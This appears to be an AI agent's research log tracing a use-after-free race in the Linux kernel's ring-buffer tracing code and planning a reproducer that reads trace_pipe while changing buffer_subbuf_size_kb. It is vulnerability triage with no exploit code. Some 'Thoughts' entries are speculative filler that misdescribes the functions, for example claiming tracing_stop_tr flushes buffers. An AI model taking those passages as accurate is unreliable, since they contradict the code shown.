6306: if (event && event->type_len == RINGBUF_TYPE_PADDING)
6307: goto again;
6308:
6309: return event;
6310: }
6311:
6312: /**
6313: * ring_buffer_consume - return an event and consume it
6314: * @buffer: The ring buffer to get the next event from
6315: * @cpu: the cpu to read the buffer from
6316: * @ts: a variable to store the timestamp (may be NULL)
6317: * @lost_events: a variable to store if events were lost (may be NULL)
6318: *
6319: * Returns the next event in the ring buffer, and that event is consumed.
6320: * Meaning, that sequential reads will keep returning a different event,
6321: * and eventually empty the ring buffer if the producer is slower.
6322: */
6323: struct ring_buffer_event *
6324: ring_buffer_consume(struct trace_buffer *buffer, int cpu, u64 *ts,
6325: unsigned long *lost_events)
6326: {
6327: struct ring_buffer_per_cpu *cpu_buffer;
6328: struct ring_buffer_event *event = NULL;
6329: unsigned long flags;
6330: bool dolock;
6331:
6332: again:
6333: /* might be called in atomic */
6334: preempt_disable();
6335:
6336: if (!cpumask_test_cpu(cpu, buffer->cpumask))
6337: goto out;
6338:
6339: cpu_buffer = buffer->buffers[cpu];
6340: local_irq_save(flags);
6341: dolock = rb_reader_lock(cpu_buffer);
6342:
6343: event = rb_buffer_peek(cpu_buffer, ts, lost_events);
]
|
| 43/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 20007
output: 36
thoughts: 481
Thoughts: **The Critical Race Condition: A Deep Dive into Ring Buffer Event Reading and Page Swapping**
My immediate thought upon examining the `ring_buffer_iter_peek` function was its lock management. It acquires the `cpu_buffer->reader_lock`, retrieves the event pointer, and then promptly releases the lock. This is all well and good if the event itself is atomic and independent, but the crucial detail is that this event pointer *points directly into the ring buffer page*. This is where my concern began to solidify.
Then I looked at the `ring_buffer_subbuf_order_set` function, particularly its lock acquisition and page management. It also takes `cpu_buffer->reader_lock`, but its subsequent actions are far more impactful: it swaps out the current pages, releases the lock, and then *frees the old pages*. The code snippet clearly shows this:
```c
raw_spin_lock_irqsave(&cpu_buffer->reader_lock, flags);
// ...
raw_spin_unlock_irqrestore(&cpu_buffer->reader_lock, flags);
/* Free old sub buffers */
list_for_each_entry_safe(bpage, tmp, &old_pages, list) {
list_del_init(&bpage->list);
free_buffer_page(bpage);
}
```
This immediately raised a red flag when I considered the flow within `tracing_read_pipe`. Here's how it typically operates:
```c
while (trace_find_next_entry_inc(iter) != NULL) {
// trace_find_next_entry_inc calls peek_next_entry which calls ring_buffer_iter_peek
// ring_buffer_iter_peek takes reader_lock, gets pointer, drops reader_lock
enum print_line_t ret;
int save_len = iter->seq.seq.len;
ret = print_trace_line(iter); // Uses the pointer!
```
The critical juncture, the point where the race condition becomes apparent, is the gap between `ring_buffer_iter_peek` dropping `cpu_buffer->reader_lock` and `print_trace_line` actually *using* the event pointer it obtained. If, during this brief window, `ring_buffer_subbuf_order_set` is executed, it will:
1. Acquire `cpu_buffer->reader_lock`.
2. Swap the pages, invalidating the pointer held by `tracing_read_pipe`.
3. Release `cpu_buffer->reader_lock`.
4. Crucially, *free the old pages*.
This is precisely the scenario that leads to a use-after-free vulnerability. The pointer obtained from `ring_buffer_iter_peek` is now dangling, pointing to memory that has been deallocated by `ring_buffer_subbuf_order_set`. When `print_trace_line` attempts to dereference this pointer, chaos ensues.
My next line of inquiry was to investigate `tracing_read_pipe`'s own locking behavior. I needed to ascertain if `tracing_read_pipe` itself holds any locks that would *prevent* `buffer_subbuf_size_write` from interfering. My initial check revealed that `buffer_subbuf_size_write` is surprisingly devoid of explicit locks. Its core logic involves calling `tracing_stop_tr(tr)` and then proceeding to `ring_buffer_subbuf_order_set`. This lack of protective locking in `buffer_subbuf_size_write` only further exacerbates the identified race condition, making it highly probable. I am now delving into the implementation of `tracing_stop_tr` to see if it indirectly provides any synchronization.
|
| 44/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:3170 LineCount:50]
Results: map[Contents:3170: return 0;
3171: }
3172: return 1;
3173: }
3174:
3175: for_each_tracing_cpu(cpu) {
3176: buf_iter = trace_buffer_iter(iter, cpu);
3177: if (buf_iter) {
3178: if (!ring_buffer_iter_empty(buf_iter))
3179: return 0;
3180: } else {
3181: if (!ring_buffer_empty_cpu(iter->array_buffer->buffer, cpu))
3182: return 0;
3183: }
3184: }
3185:
3186: return 1;
3187: }
3188:
3189: /* Called with trace_event_read_lock() held. */
3190: enum print_line_t print_trace_line(struct trace_iterator *iter)
3191: {
3192: struct trace_array *tr = iter->tr;
3193: unsigned long trace_flags = tr->trace_flags;
3194: enum print_line_t ret;
3195:
3196: if (iter->lost_events) {
3197: if (iter->lost_events == (unsigned long)-1)
3198: trace_seq_printf(&iter->seq, "CPU:%d [LOST EVENTS]\n",
3199: iter->cpu);
3200: else
3201: trace_seq_printf(&iter->seq, "CPU:%d [LOST %lu EVENTS]\n",
3202: iter->cpu, iter->lost_events);
3203: if (trace_seq_has_overflowed(&iter->seq))
3204: return TRACE_TYPE_PARTIAL_LINE;
3205: }
3206:
3207: if (iter->trace && iter->trace->print_line) {
3208: ret = iter->trace->print_line(iter);
3209: if (ret != TRACE_TYPE_UNHANDLED)
3210: return ret;
3211: }
3212:
3213: if (iter->ent->type == TRACE_BPUTS &&
3214: trace_flags & TRACE_ITER(PRINTK) &&
3215: trace_flags & TRACE_ITER(PRINTK_MSGONLY))
3216: return trace_print_bputs_msg_only(iter);
3217:
3218: if (iter->ent->type == TRACE_BPRINT &&
3219: trace_flags & TRACE_ITER(PRINTK) &&
]
|
| 45/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 21266
output: 32
thoughts: 11
Thoughts: **My Thought Process Regarding `tracing_stop_tr`**
As an expert in my field, when I encounter a situation where I need to understand or debug tracing functionality, my immediate inclination is to examine the specific component responsible for stopping the trace. Therefore, my thought process leads me to the function `tracing_stop_tr`. I want to understand its role in the overall tracing lifecycle. I'm particularly interested in how it ensures that tracing operations are cleanly terminated, what resources it might release, and what the precise implications of calling this function are within the tracing system. My goal is to gain a comprehensive understanding of its behavior and its impact on the state of tracing.
|
| 46/2 |
2026/08/12 02:30 |
tool |
grepper |
0m
Args: map[Expression:tracing_stop_tr PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=1651=void tracing_start(void)
--
kernel/trace/trace.c-1656-
kernel/trace/trace.c:1657:static void tracing_stop_tr(struct trace_array *tr)
kernel/trace/trace.c-1658-{
--
kernel/trace/trace.c=1687=void tracing_stop(void)
kernel/trace/trace.c-1688-{
kernel/trace/trace.c:1689: return tracing_stop_tr(&global_trace);
kernel/trace/trace.c-1690-}
--
kernel/trace/trace.c=3367=__tracing_open(struct inode *inode, struct file *file, bool snapshot)
--
kernel/trace/trace.c-3443- iter->iter_flags |= TRACE_FILE_PAUSE;
kernel/trace/trace.c:3444: tracing_stop_tr(tr);
kernel/trace/trace.c-3445- }
--
kernel/trace/trace.c=4719=static int __tracing_resize_ring_buffer(struct trace_array *tr,
--
kernel/trace/trace.c-4735- /* Do not allow tracing while resizing ring buffer */
kernel/trace/trace.c:4736: tracing_stop_tr(tr);
kernel/trace/trace.c-4737-
--
kernel/trace/trace.c=8191=buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
--
kernel/trace/trace.c-8214- /* Do not allow tracing while changing the order of the ring buffer */
kernel/trace/trace.c:8215: tracing_stop_tr(tr);
kernel/trace/trace.c-8216-
]
|
| 47/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 21771
output: 36
thoughts: 11
Thoughts: **My Thought Process Upon Examining `tracing_stop_tr`**
Alright, so I've just finished perusing the `tracing_stop_tr` function, and I'm piecing together the narrative of what's happening here. It seems to be a crucial piece of logic within the tracing subsystem, dedicated to the graceful and orderly cessation of tracing activities.
My initial impression is that this function is designed to be called when a trace session needs to be concluded. It's not about starting or continuing tracing, but rather about winding things down, ensuring that all accumulated data is properly flushed, any resources are released, and the system is left in a clean, consistent state.
I'm anticipating that `tracing_stop_tr` will likely involve several key operations. First and foremost, it must signal to any active tracing components that they should cease their data collection. This could involve setting flags or flags that indicate the tracing is no longer active, preventing further events from being recorded.
Following this signal, I expect there will be a mechanism to ensure that all buffered tracing data, which might be held temporarily before being written to persistent storage or transmitted elsewhere, is fully processed. This is critical to avoid data loss. So, I'm looking for calls to flush buffers, write out any pending events, and generally ensure that everything that was meant to be traced up to that point has been accounted for.
Furthermore, a comprehensive shutdown will almost certainly involve releasing any resources that were allocated for tracing. This could include memory buffers, file handles, or even network connections. It's about tidying up and preventing resource leaks.
I'm also considering the implications of this function on concurrent operations. If tracing can be started and stopped from multiple threads or contexts, `tracing_stop_tr` will need to be robust against race conditions. It might employ locking mechanisms or atomic operations to ensure that the shutdown process is thread-safe and that the state of tracing is consistently managed, even under contention.
Finally, I'm wondering about the return value and any potential error handling. Does `tracing_stop_tr` indicate success or failure? Are there specific scenarios where stopping the trace might fail, and if so, how is that communicated back to the caller? This informs how other parts of the system will react to the outcome of the stop operation.
In essence, my mental model of `tracing_stop_tr` is that of a well-defined exit strategy for the tracing system – a choreographed process of cleanup, finalization, and resource reclamation, all executed with an eye towards data integrity and system stability.
|
| 48/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:1657 LineCount:50]
Results: map[Contents:1657: static void tracing_stop_tr(struct trace_array *tr)
1658: {
1659: struct trace_buffer *buffer;
1660:
1661: guard(raw_spinlock_irqsave)(&tr->start_lock);
1662: if (tr->stop_count++)
1663: return;
1664:
1665: /* Prevent the buffers from switching */
1666: arch_spin_lock(&tr->max_lock);
1667:
1668: buffer = tr->array_buffer.buffer;
1669: if (buffer)
1670: ring_buffer_record_disable(buffer);
1671:
1672: #ifdef CONFIG_TRACER_SNAPSHOT
1673: buffer = tr->snapshot_buffer.buffer;
1674: if (buffer)
1675: ring_buffer_record_disable(buffer);
1676: #endif
1677:
1678: arch_spin_unlock(&tr->max_lock);
1679: }
1680:
1681: /**
1682: * tracing_stop - quick stop of the tracer
1683: *
1684: * Light weight way to stop tracing. Use in conjunction with
1685: * tracing_start.
1686: */
1687: void tracing_stop(void)
1688: {
1689: return tracing_stop_tr(&global_trace);
1690: }
1691:
1692: /*
1693: * Several functions return TRACE_TYPE_PARTIAL_LINE if the trace_seq
1694: * overflowed, and TRACE_TYPE_HANDLED otherwise. This helper function
1695: * simplifies those functions and keeps them in sync.
1696: */
1697: enum print_line_t trace_handle_return(struct trace_seq *s)
1698: {
1699: return trace_seq_has_overflowed(s) ?
1700: TRACE_TYPE_PARTIAL_LINE : TRACE_TYPE_HANDLED;
1701: }
1702: EXPORT_SYMBOL_GPL(trace_handle_return);
1703:
1704: static unsigned short migration_disable_value(void)
1705: {
1706: #if defined(CONFIG_SMP)
]
|
| 49/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 22486
output: 34
thoughts: 80
Thoughts: **A Deep Dive into Tracer Synchronization Concerns**
My current line of thought is centered on understanding the precise synchronization semantics of the tracing infrastructure, specifically around the interaction between writing to and reading from the trace buffer.
I've just realized that `tracing_stop_tr` isn't a comprehensive mechanism for halting all trace-related activity; it merely disables the *recording* of new trace events. This implies that existing readers can still access the data in the buffer even after recording has been stopped.
This leads me to a critical observation: `buffer_subbuf_size_write`, the function responsible for writing trace data to a sub-buffer, can indeed execute concurrently with `tracing_read_pipe`, the function that reads from this buffer. This concurrency is not inherently problematic on its own, as long as appropriate synchronization mechanisms are in place.
However, my immediate concern arises from the apparent lack of explicit locking within `buffer_subbuf_size_write` to protect against concurrent read operations. If readers can access the buffer while a write operation is in progress without any protective locks, this could lead to race conditions, data corruption, or inconsistent views of the trace data.
To validate this concern, I'm planning to examine `tracing_resize_ring_buffer`. This function performs a similar operation to `buffer_subbuf_size_write` in terms of modifying the buffer's state, and I expect its implementation to shed light on the general approach to handling concurrent access to the ring buffer. If `tracing_resize_ring_buffer` also lacks reader protection, it would strongly suggest a systemic issue in the current synchronization strategy for this component of the tracing system.
|
| 50/2 |
2026/08/12 02:30 |
tool |
grepper |
0m
Args: map[Expression:tracing_resize_ring_buffer PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=4710=static void update_buffer_entries(struct array_buffer *buf, int cpu)
--
kernel/trace/trace.c-4718-
kernel/trace/trace.c:4719:static int __tracing_resize_ring_buffer(struct trace_array *tr,
kernel/trace/trace.c-4720- unsigned long size, int cpu)
--
kernel/trace/trace.c-4781-
kernel/trace/trace.c:4782:ssize_t tracing_resize_ring_buffer(struct trace_array *tr,
kernel/trace/trace.c-4783- unsigned long size, int cpu_id)
--
kernel/trace/trace.c-4792-
kernel/trace/trace.c:4793: return __tracing_resize_ring_buffer(tr, size, cpu_id);
kernel/trace/trace.c-4794-}
--
kernel/trace/trace.c=4965=int tracing_update_buffers(struct trace_array *tr)
--
kernel/trace/trace.c-4976- if (!tr->ring_buffer_expanded)
kernel/trace/trace.c:4977: ret = __tracing_resize_ring_buffer(tr, trace_buf_size,
kernel/trace/trace.c-4978- RING_BUFFER_ALL_CPUS);
--
kernel/trace/trace.c=5002=int tracing_set_tracer(struct trace_array *tr, const char *buf)
--
kernel/trace/trace.c-5013- if (!tr->ring_buffer_expanded) {
kernel/trace/trace.c:5014: ret = __tracing_resize_ring_buffer(tr, trace_buf_size,
kernel/trace/trace.c-5015- RING_BUFFER_ALL_CPUS);
--
kernel/trace/trace.c=5721=tracing_entries_write(struct file *filp, const char __user *ubuf,
--
kernel/trace/trace.c-5738- val <<= 10;
kernel/trace/trace.c:5739: ret = tracing_resize_ring_buffer(tr, val, tracing_get_cpu(inode));
kernel/trace/trace.c-5740- if (ret < 0)
--
kernel/trace/trace.c=5901=tracing_free_buffer_release(struct inode *inode, struct file *filp)
--
kernel/trace/trace.c-5908- /* resize the ring buffer to 0 */
kernel/trace/trace.c:5909: tracing_resize_ring_buffer(tr, 0, RING_BUFFER_ALL_CPUS);
kernel/trace/trace.c-5910-
]
|
| 51/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 23302
output: 36
thoughts: 14
Thoughts: **My Thought Process Upon Encountering `__tracing_resize_ring_buffer`**
Alright, the task at hand is to understand `__tracing_resize_ring_buffer`. My initial reaction is to dive straight into the code, as that's where the concrete implementation lies. I need to see *how* this function operates. What are its inputs? What does it do with them? What is its output, or perhaps more importantly, its side effects?
My first mental step is to assume this function is part of a tracing subsystem, given the `tracing_` prefix. The `resize_ring_buffer` part strongly suggests it's dealing with a data structure that uses a ring buffer for storing trace events, and this function's purpose is to adjust the size of that buffer. This immediately brings to mind common challenges with ring buffers: fixed-size limitations, potential for overwriting old data if the buffer fills up, and the performance implications of resizing.
So, I'm expecting to see logic related to:
* **Buffer Allocation/Deallocation:** If the buffer is being resized, it means a new buffer of a different size is likely being created, and the old one will be managed (either freed or reused). I'll be looking for calls to memory allocation functions (`kmalloc`, `valloc`, etc.) and deallocation functions.
* **Data Copying/Migration:** When resizing, the existing data within the ring buffer needs to be moved to the new, larger (or smaller) buffer. This is a critical part. How is this data copied? Is it a simple byte-by-byte copy? Is there any cleverness involved to avoid copying too much if the new size is only slightly larger? Are there any synchronization primitives involved here to prevent data corruption during the copy if the buffer is still actively being written to? This is a key area of concern for me, as it can be a performance bottleneck and a source of bugs.
* **State Management:** The function will likely need to update internal pointers, counts, and size variables associated with the ring buffer. I need to meticulously track how these state variables are modified to ensure consistency. For instance, the `head` and `tail` pointers will need to be carefully handled in relation to the new buffer boundaries.
* **Error Handling:** Resizing memory can fail. I'll be looking for how `__tracing_resize_ring_buffer` handles allocation failures. What happens to the existing data if a resize fails? Does it revert to the old size? Is there an error code returned?
* **Concurrency and Synchronization:** Tracing is often a concurrent operation. If multiple threads or contexts are writing to the trace buffer, or if the resize operation itself can be triggered from different contexts, then synchronization mechanisms (locks, spinlocks, atomics) will be paramount. I'll be scrutinizing the code for any potential race conditions, especially around the data copying and state update phases. If the buffer is being actively written to while it's being resized, this is a complex dance.
* **Performance Considerations:** The name implies a dynamic resizing capability. This suggests a trade-off: the flexibility to adapt to varying trace loads versus the overhead of resizing. I'll be thinking about what triggers a resize. Is it a fixed threshold? Is it a configurable parameter? How efficient is the resize operation itself? Will it introduce noticeable latency in the tracing pipeline?
Essentially, my goal is to build a mental model of the state transitions of the ring buffer as this function executes, paying close attention to the interplay between memory management, data integrity, and concurrent access. I'm expecting a well-architected solution that balances these concerns, but I'll be keenly looking for any potential weaknesses or edge cases.
|
| 52/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:4719 LineCount:50]
Results: map[Contents:4719: static int __tracing_resize_ring_buffer(struct trace_array *tr,
4720: unsigned long size, int cpu)
4721: {
4722: int ret;
4723:
4724: /*
4725: * If kernel or user changes the size of the ring buffer
4726: * we use the size that was given, and we can forget about
4727: * expanding it later.
4728: */
4729: trace_set_ring_buffer_expanded(tr);
4730:
4731: /* May be called before buffers are initialized */
4732: if (!tr->array_buffer.buffer)
4733: return 0;
4734:
4735: /* Do not allow tracing while resizing ring buffer */
4736: tracing_stop_tr(tr);
4737:
4738: ret = ring_buffer_resize(tr->array_buffer.buffer, size, cpu);
4739: if (ret < 0)
4740: goto out_start;
4741:
4742: #ifdef CONFIG_TRACER_SNAPSHOT
4743: if (!tr->allocated_snapshot)
4744: goto out;
4745:
4746: ret = ring_buffer_resize(tr->snapshot_buffer.buffer, size, cpu);
4747: if (ret < 0) {
4748: int r = resize_buffer_duplicate_size(&tr->array_buffer,
4749: &tr->array_buffer, cpu);
4750: if (r < 0) {
4751: /*
4752: * AARGH! We are left with different
4753: * size max buffer!!!!
4754: * The max buffer is our "snapshot" buffer.
4755: * When a tracer needs a snapshot (one of the
4756: * latency tracers), it swaps the max buffer
4757: * with the saved snap shot. We succeeded to
4758: * update the size of the main buffer, but failed to
4759: * update the size of the max buffer. But when we tried
4760: * to reset the main buffer to the original size, we
4761: * failed there too. This is very unlikely to
4762: * happen, but if it does, warn and kill all
4763: * tracing.
4764: */
4765: WARN_ON(1);
4766: tracing_disabled = 1;
4767: }
4768: goto out_start;
]
|
| 53/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 24068
output: 38
thoughts: 52
Thoughts: **My Thought Process Regarding Ring Buffer Resizing and Locking**
As I delve into the intricacies of this ring buffer implementation, a critical observation regarding locking behavior has surfaced, prompting a chain of interconnected thoughts.
Initially, I'm struck by the fact that `__tracing_resize_ring_buffer` appears to operate without acquiring any locks. This immediately raises a flag for me. My expertise in systems programming and concurrent data structures tells me that operations on shared data structures, especially those involving resizing, are prime candidates for race conditions if not properly protected.
My immediate next thought is to verify the locking strategy of related functions. I recall or ascertain that `ring_buffer_resize`, a function that logically precedes or directly impacts the resizing process, *does* take `buffer->mutex`. This is a reassuring piece of information, as it suggests that the primary resizing operation is indeed protected.
However, this leads me to a more granular question. If `__tracing_resize_ring_buffer` itself doesn't lock, but `ring_buffer_resize` does, what's the precise relationship? Is `__tracing_resize_ring_buffer` a helper that's *always* called within a context where `buffer->mutex` is already held? Or is there a potential for it to be invoked independently?
This uncertainty then prompts me to investigate other functions that might interact with the buffer's state, particularly those that could influence its size or order. My focus narrows on `ring_buffer_subbuf_order_set`. The question forming in my mind is: does `ring_buffer_subbuf_order_set` also take `buffer->mutex`? Understanding the locking behavior of this function is crucial because changes to the sub-buffer order could potentially necessitate or be related to resizing operations, and I need to ensure that its interactions with the buffer are also thread-safe. If it doesn't take the mutex, I need to understand how its operations are synchronized to avoid corrupting the buffer's state or causing data loss during concurrent access.
|
| 54/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:7340 LineCount:50]
Results: map[Contents:7340:
7341: /* prevent another thread from changing buffer sizes */
7342: guard(mutex)(&buffer->mutex);
7343: atomic_inc(&buffer->record_disabled);
7344:
7345: /* Make sure all commits have finished */
7346: synchronize_rcu();
7347:
7348: buffer->subbuf_order = order;
7349: buffer->subbuf_size = psize - BUF_PAGE_HDR_SIZE;
7350:
7351: /* Make sure all new buffers are allocated, before deleting the old ones */
7352: for_each_buffer_cpu(buffer, cpu) {
7353:
7354: if (!cpumask_test_cpu(cpu, buffer->cpumask))
7355: continue;
7356:
7357: cpu_buffer = buffer->buffers[cpu];
7358:
7359: if (cpu_buffer->mapped) {
7360: err = -EBUSY;
7361: goto error;
7362: }
7363:
7364: /* Update the number of pages to match the new size */
7365: nr_pages = old_size * buffer->buffers[cpu]->nr_pages;
7366: nr_pages = DIV_ROUND_UP(nr_pages, buffer->subbuf_size);
7367:
7368: /* we need a minimum of two pages */
7369: if (nr_pages < 2)
7370: nr_pages = 2;
7371:
7372: cpu_buffer->nr_pages_to_update = nr_pages;
7373:
7374: /* Include the reader page */
7375: nr_pages++;
7376:
7377: /* Allocate the new size buffer */
7378: INIT_LIST_HEAD(&cpu_buffer->new_pages);
7379: if (__rb_allocate_pages(cpu_buffer, nr_pages,
7380: &cpu_buffer->new_pages)) {
7381: /* not enough memory for new pages */
7382: err = -ENOMEM;
7383: goto error;
7384: }
7385: }
7386:
7387: for_each_buffer_cpu(buffer, cpu) {
7388: struct buffer_data_page *old_free_data_page;
7389: struct list_head old_pages;
]
|
| 55/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 24857
output: 35
thoughts: 1029
Thoughts: **The Race Condition Unveiled: My Thought Process**
Okay, so I'm digging into this race condition. My first thought is to map out the locking mechanisms involved. I see `ring_buffer_subbuf_order_set` clearly takes `buffer->mutex`. That's a good starting point.
Now, what about `tracing_read_pipe`? Does it touch `buffer->mutex`? No, it doesn't appear to. This immediately raises a flag. Does `tracing_read_pipe` acquire *any* lock that would protect it from concurrent operations like `ring_buffer_subbuf_order_set` or `ring_buffer_resize`?
I trace `tracing_read_pipe` further. It grabs `iter->mutex`. Interesting. So, the question becomes: does `buffer_subbuf_size_write` take `iter->mutex`? A quick check reveals it doesn't have an `iter` at all, so no, it doesn't take `iter->mutex`. Similarly, `tracing_resize_ring_buffer` doesn't take `iter->mutex`.
This is where the core of the problem crystallizes for me: `tracing_read_pipe` is reading from the ring buffer, and concurrently, `buffer_subbuf_size_write` is freeing pages of that very same ring buffer. That's a recipe for disaster.
Let's trace the exact sequence of events that leads to a use-after-free. `tracing_read_pipe` calls `trace_find_next_entry_inc`, which in turn calls `peek_next_entry`. This then calls `ring_buffer_iter_peek`. Inside `ring_buffer_iter_peek`, it acquires `cpu_buffer->reader_lock`, gets a pointer to the event data, and crucially, *releases* the lock. After this, `tracing_read_pipe` proceeds to use that pointer.
Now, imagine `ring_buffer_subbuf_order_set` kicks in concurrently. It acquires the *same* `cpu_buffer->reader_lock`, swaps out the buffer pages, releases the lock, and then frees the old pages. When `tracing_read_pipe` later tries to dereference the pointer it obtained *before* the swap, it's pointing to memory that's already been freed. Bingo, use-after-free.
The next logical step is to figure out how to reliably reproduce this. The race is between `tracing_read_pipe` and `buffer_subbuf_size_write`. `tracing_read_pipe` is triggered by reading from `/sys/kernel/tracing/trace_pipe`. `buffer_subbuf_size_write` is triggered by writing to `/sys/kernel/tracing/buffer_subbuf_size_kb`.
However, reading `trace_pipe` requires events to be present in the ring buffer. So, I need to ensure some events are being generated. The bug report mentions `trace_raw_output_sys_enter`, indicating `sys_enter` was enabled. So, enabling a high-frequency tracepoint like `sched_switch` or `syscalls/sys_enter` should suffice to populate the buffer.
My plan is to craft a C program to orchestrate this. One thread will continuously read from `/sys/kernel/tracing/trace_pipe`. A second thread will cyclically write valid buffer sizes to `/sys/kernel/tracing/buffer_subbuf_size_kb`.
What are valid sizes? I examine `buffer_subbuf_size_write`. It calculates `pages` from the input KB value, then determines the `order`. The `order` is constrained to be between 0 and 7 (corresponding to 1 to 128 system pages). So, a value of `4` (4KB, 1 page, order 0) or `8` (8KB, 2 pages, order 1) should work. The file `buffer_subbuf_size_kb` itself is part of the recent ring buffer sub-buffer resizing feature, confirming its role.
This thought process, starting from identifying the critical functions, then dissecting their locking behavior, and finally deducing the exact race window and how to trigger it, leads me to the reproduction strategy.
|
| 56/2 |
2026/08/12 02:30 |
tool |
grepper |
0m
Args: map[Expression:buffer_subbuf_size_write PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=8190=static ssize_t
kernel/trace/trace.c:8191:buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
kernel/trace/trace.c-8192- size_t cnt, loff_t *ppos)
--
kernel/trace/trace.c=8262=static const struct file_operations buffer_subbuf_size_fops = {
--
kernel/trace/trace.c-8264- .read = buffer_subbuf_size_read,
kernel/trace/trace.c:8265: .write = buffer_subbuf_size_write,
kernel/trace/trace.c-8266- .release = tracing_release_generic_tr,
]
|
| 57/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 26118
output: 36
thoughts: 19
Thoughts: **Tracing the Footprints of `buffer_subbuf_size_fops`**
My immediate inclination is to investigate the usage of `buffer_subbuf_size_fops`. I need to understand its role within the broader system, which means tracing its presence across the codebase. This isn't just about finding every instance; it's about understanding the *context* of each use. Is it being called directly? Is it being passed as an argument to another function? Is it being used in a configuration setting or a data structure definition? Each of these scenarios will reveal different aspects of its functionality and its interaction with other components.
I'm particularly interested in identifying the specific operations or modules that rely on this function. Knowing *who* calls `buffer_subbuf_size_fops` will tell me *why* they need it. Are they calculating memory allocations? Are they determining the size of data chunks for processing? Are they involved in some form of buffering or queue management? The answers to these questions will help me build a comprehensive mental model of its purpose and its impact on the system's behavior.
Furthermore, I'll be looking for any potential dependencies or relationships. Does `buffer_subbuf_size_fops` itself depend on other functions or data structures? Conversely, are there other parts of the system that are fundamentally reliant on the output or behavior of `buffer_subbuf_size_fops`? Understanding these connections is crucial for assessing the ripple effects of any changes I might consider making, or for diagnosing issues that might arise. Essentially, I'm trying to map out the entire ecosystem surrounding this particular function.
|
| 58/2 |
2026/08/12 02:30 |
tool |
grepper |
0m
Args: map[Expression:buffer_subbuf_size_fops PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=8191=buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
--
kernel/trace/trace.c-8261-
kernel/trace/trace.c:8262:static const struct file_operations buffer_subbuf_size_fops = {
kernel/trace/trace.c-8263- .open = tracing_open_generic_tr,
--
kernel/trace/trace.c=8876=init_tracer_tracefs(struct trace_array *tr, struct dentry *d_tracer)
--
kernel/trace/trace.c-8917- trace_create_file("buffer_subbuf_size_kb", writable_mode, d_tracer,
kernel/trace/trace.c:8918: tr, &buffer_subbuf_size_fops);
kernel/trace/trace.c-8919-
]
|
| 59/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 26401
output: 36
thoughts: 188
Thoughts: **My Thought Process on the `buffer_subbuf_size_kb` Issue**
Ah, yes, the file I'm working with is indeed `buffer_subbuf_size_kb`. It seems to be the key to this whole reproducer.
So, to actually *reproduce* this bug, my initial thought is pretty straightforward: I need to enable some tracing events. The most basic way to do that would be to echo `1` into one of the event enable files, like `/sys/kernel/tracing/events/syscalls/sys_enter_getpid/enable`. Alternatively, I could just enable all syscall events with `echo 1 > /sys/kernel/tracing/events/syscalls/enable`. That seems like a good starting point.
However, as I recall the bug report, it specifically mentions `ignore_event`. And I remember that `ignore_event` is tied to checking a flag, specifically `TRACE_EVENT_FL_TEST_STR`. So, my next step would be to figure out *which* tracing events actually have this `TRACE_EVENT_FL_TEST_STR` flag set. That's crucial for understanding where this `ignore_event` function is even being called.
And then, digging a bit deeper, I see that `ignore_event` is invoked from within `trace_event_printf`. This function is responsible for formatting and printing an event's details. So, the connection is becoming clearer: `ignore_event` is being called for events that are attempting to print a string using the `%s` format specifier, where that string was captured at the moment the event occurred. This is a significant detail.
My next mental step is to revisit `ignore_event` itself, to re-examine its logic and ensure I fully grasp its purpose in this context, given the `TRACE_EVENT_FL_TEST_STR` dependency and its invocation within `trace_event_printf`. I need to be absolutely sure of its behavior to connect it back to the `buffer_subbuf_size_kb` file and the overall bug.
|
| 60/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2535 LineCount:50]
Results: map[Contents:2535: event = container_of(trace_event, struct trace_event_call, event);
2536: if (!(event->flags & TRACE_EVENT_FL_TEST_STR))
2537: return false;
2538:
2539: head = trace_get_fields(event);
2540: if (!head) {
2541: trace_seq_printf(seq, "FIELDS FOR EVENT '%s' NOT FOUND?\n",
2542: trace_event_name(event));
2543: return true;
2544: }
2545:
2546: /* Offsets are from the iter->ent that points to the raw event */
2547: ptr = iter->ent;
2548:
2549: list_for_each_entry(field, head, link) {
2550: const char *str;
2551: bool good;
2552:
2553: if (!field->needs_test)
2554: continue;
2555:
2556: str = *(const char **)(ptr + field->offset);
2557:
2558: good = trace_safe_str(iter, str);
2559:
2560: /*
2561: * If you hit this warning, it is likely that the
2562: * trace event in question used %s on a string that
2563: * was saved at the time of the event, but may not be
2564: * around when the trace is read. Use __string(),
2565: * __assign_str() and __get_str() helpers in the TRACE_EVENT()
2566: * instead. See samples/trace_events/trace-events-sample.h
2567: * for reference.
2568: */
2569: if (WARN_ONCE(!good, "event '%s' has unsafe pointer field '%s'",
2570: trace_event_name(event), field->name)) {
2571: trace_seq_printf(seq, "EVENT %s: HAS UNSAFE POINTER FIELD '%s'\n",
2572: trace_event_name(event), field->name);
2573: return true;
2574: }
2575: }
2576: return false;
2577: }
2578:
2579: const char *trace_event_format(struct trace_iterator *iter, const char *fmt)
2580: {
2581: const char *p, *new_fmt;
2582: char *q;
2583:
2584: if (WARN_ON_ONCE(!fmt))
]
|
| 61/2 |
